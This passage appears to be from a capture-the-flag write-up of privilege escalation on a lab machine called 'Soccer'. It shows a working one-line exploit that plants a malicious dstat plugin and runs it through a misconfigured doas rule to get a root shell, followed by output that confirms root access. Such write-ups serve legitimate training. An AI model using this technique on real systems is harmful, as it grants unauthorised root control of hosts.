Soccer_Privilege_Escalation

dstat

---

The player user is permitted to execute /usr/bin/dstat as the root user without getting prompted for password. With dstat being a sensitive binary if configured to run as superuser, I elevate privileges to the root user

player@soccer:~$ echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_xxx.py ; doas /usr/bin/dstat --xxx
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
  import imp
# whoami
root
# hostname
soccer
# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.11.194  netmask 255.255.254.0  broadcast 10.10.11.255
        inet6 dead:beef::250:56ff:feb9:2727  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::250:56ff:feb9:2727  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:b9:27:27  txqueuelen 1000  (Ethernet)
        RX packets 3353763  bytes 586575873 (586.5 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3398408  bytes 1280945407 (1.2 GB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 16983  bytes 4736240 (4.7 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 16983  bytes 4736240 (4.7 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

System Level Compromise